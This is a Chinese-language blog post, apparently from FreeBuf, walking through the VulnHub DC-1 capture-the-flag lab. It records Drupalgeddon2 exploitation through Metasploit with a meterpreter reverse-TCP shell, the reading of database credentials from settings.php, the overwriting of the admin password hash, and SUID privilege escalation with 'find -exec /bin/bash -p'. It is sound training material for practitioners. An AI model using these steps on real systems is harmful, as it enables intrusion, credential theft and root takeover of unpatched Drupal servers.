freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

DC-1靶场实战详解
FreeBuf_381598 2021-11-20 16:50:34 161529

写写自己打DC-1的过程

使用工具 kali

DC-1的靶机下载地址为:https://www.vulnhub.com/entry/dc-1,292/

第一步:环境配置。

我这里的话kali和DC-1都是nat模式

1637323951_619794af4ca13b90b7e5e.png!small?1637323950565


kali IP为:192.168.28.139

DC-1 IP设置为nat模式,具体多少暂时也不知道。

第二步:信息收集

1.  DC-1 IP不知道,那我们首先就先主机存活探测下,看看靶机IP是多少。

为了提高效率,我们直接用nmap,或者arp-scan。

nmap:nmap -sP 192.168.28.0/24

1637326055_61979ce7da019a0745ced.png!small?1637326055252

arp-scan: arp-scan -l

1637326319_61979def2e901279581cf.png!small?1637326318487

获得 DC-1 IP:192.168.28.178

2.查找到IP后可以查看靶机开启了什么端口(可以使用nmap)

nmap -A 192.168.28.178

-A : 激进型 启用许多扫描选项,版本扫描,脚本扫描等(慎用)

1637326627_61979f23817274ed8a352.png!small?1637326627001

可以看到DC-1开启了ssh和http和不知道干什么的111端口,我们可以尝试去访问下DC-1的IP:192.168.28.178

1637326744_61979f989c37141638814.png!small?1637326743891

可以看到有个登录框,我们可以手动sql注入试试(我尝试了下没有试出来)。

看到网站,我们可以试试挖下目录文件,这里的话提一下我用的工具(御剑,gobuster,dirb)具体使用可以找一下手册。再我们兜兜转转半天也一筹莫展时。

那我们下一步就去看看是否是常见的一些cms。

3.指纹识别(whatweb)

whatweb -v 192.168.28.178

1637327655_6197a327bc88277830fa9.png!small?1637327655138

通过查看返回信息 很容易找到CMS版本以及名字

1637327723_6197a36be0913416f9fff.png!small?1637327723206

可以看到CMS为Drupal 7。

2.漏洞利用

Drupal的话msf有一些现成的模块我们可以尝试试试。

1.进入msf

msfconsole

2.查找相应模块

search Drupa

1637329421_6197aa0d49fd8fa6aa2fb.png!small?1637329420633

3.使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以。

use exploit/unix/webapp/drupal_drupalgeddon2

1637375220_61985cf4aad64b20e17d1.png!small?1637375220946

4.选择查看payload有什么

show payloads

1637375367_61985d874fc2a8710b3bf.png!small?1637375367632

看到了熟悉的php/meterpreter/reverse_tcp

5。使用payload

set payload php/meterpreter/reverse_tcp

1637375451_61985ddba7be69afc2a61.png!small?1637375451865

6.查看需要配置的参数

show options

1637375524_61985e24657c0f6c93c71.png!small?1637375524898

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

7.配置

set rhosts 192.168.28.178

1637375661_61985ead21c0e8114cbf1.png!small?1637375661333

8.启动

exploit

1637375736_61985ef85f9e049c35777.png!small?1637375736674

可以看到session的建立

9.查看DC-1基本信息

sysinfo

1637376911_6198638f6cf32f3342258.png!small?1637376911623

10.获得shell

shell

1637377008_619863f06f7632061e867.png!small?1637377008636

为了方便看我们使用python进行反弹

python -c "import pty;pty.spawn('/bin/bash')"

1637377024_6198640067dff4a514885.png!small?1637377024586

3.flag1

ls直接查看当前文件,我们就可以看到flag1.txt

再使用cat查看

ls

cat flag1.txt

1637377144_6198647858d0d00ed84cf.png!small?1637377144602

给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

4.flag2

每个好的CMS都需要一个配置文件——你也是。

那我们找下他的配置文件

find . -name "set*"

1637380276_619870b4e355b4f35a3ab.png!small?1637380276899

还真的有!看看内容

cat ./sites/default/settings.php

1637380427_6198714b7f183dc1f1452.png!small?1637380427531

发现flag2

文件里面有数据库的账号密码

也给了提示

*暴力和字典攻击不是最常见的

*只有获得访问权限的方法(您将需要访问权限)。

*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作。

5.flag3

前面给了我们数据库账号密码以及数据库名字

'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',

我们尝试登录一下

mysql -udbuser -pR0ck3t

1637393848_6198a5b8d77618f3fd5e3.png!small?1637393848863

查看库

show databases;

1637393907_6198a5f3a1d8a4a9cd868.png!small?1637393907522

进入drupaldb库中

use drupaldb

1637393978_6198a63a0d4dbc5318705.png!small?1637393977985

查看库中的表

show tables;

1637394041_6198a679ca1ec416ebfaf.png!small?1637394041756

仔细观察我们可以看到有一个users的表

1637394103_6198a6b77ac6d15e8c2c7.png!small?1637394103415

查看表中内容

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向:

1637394573_6198a88d7fd9a10e4987e.png!small?1637394573505

可以看到admin的密码给加密了$S$D应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。

find . -name "*hash*"

1637394818_6198a982c91fb71c64af1.png!small?1637394818678

找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西

./scripts/password-hash.sh

1637395051_6198aa6b4e763a5237f57.png!small?1637395051291

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

1637395162_6198aadaf390818a7fb5e.png!small?1637395162868

果然返回了hash后的值。

原来admin的密码hash后为:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

显然靠我们一个一个试不切实际。可以换一个思路既然找不到密码是多少,那么我们就把原来密码替换了

刚刚123456 hash后为:$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC

重新回到数据库drupaldb内。

更新密码

1637395647_6198acbfee71f68258c8a.png!small?1637395648066

update users set pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where name="admin";

1637395780_6198ad442110e65ba744a.png!small?1637395780009

更新完成后,我们访问网站192.168.28.178

1637396098_6198ae82bc69b4c2080e3.png!small?1637396098674

找一下看看界面中有没有提示

1637396189_6198aeddf3b9d4a97ab77.png!small?1637396190033

1637396216_6198aef815e4fb42c9f06.png!small?1637396215954

得到flag3;

并且获得提示:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

6.flag4

根据提示passwd我们可以想到/etc/passwd

cat /etc/passwd

1637396514_6198b0220067eaa10baea.png!small?1637396513935

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件

cd /home/flag4

ls

1637396809_6198b1493d28c52a1b68f.png!small?1637396809127

查看内容

cat flag4.txt

1637396846_6198b16e1f617224c5186.png!small?1637396846117

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find  指令
/   根目录(查找位置)
-perm  权限
-u  用户(s=特权)
-type 类型
f  文件
2>/dev/nul 过滤错误信息(不显示错误信息)

1637397052_6198b23c8dedbfefca0c1.png!small?1637397052572

看到find就在其中,那就比较简单了。直接使用find提权

find / -exec "/bin/bash" -p \;

1637397174_6198b2b6f2b97ef8d2ce4.png!small?1637397174844

再次查看

cat flag4.txt

1637397222_6198b2e600dd94a807b28.png!small?1637397221855

找到flag4

并且给出提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

7.flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root

ls

1637397459_6198b3d3e118ad68b7bb3.png!small?1637397459803

可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt

1637397531_6198b41b40d187de4cd90.png!small?1637397531115

获得最终的flag

8.总结

1.nmap,arp-scan使用

2.whatweb 指纹识别

3.msf使用对应的模块

4.mysql的修改数据

5.SUID提权

# 渗透测试 # web安全 # 系统安全 # 数据安全 # DC-1
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_381598 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_381598 LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 4 关注者
云厂商 AKSK 密钥泄露利用
2022-08-25
DC-5靶场实战详解
2022-03-27
DC-7靶场实战详解
2022-03-25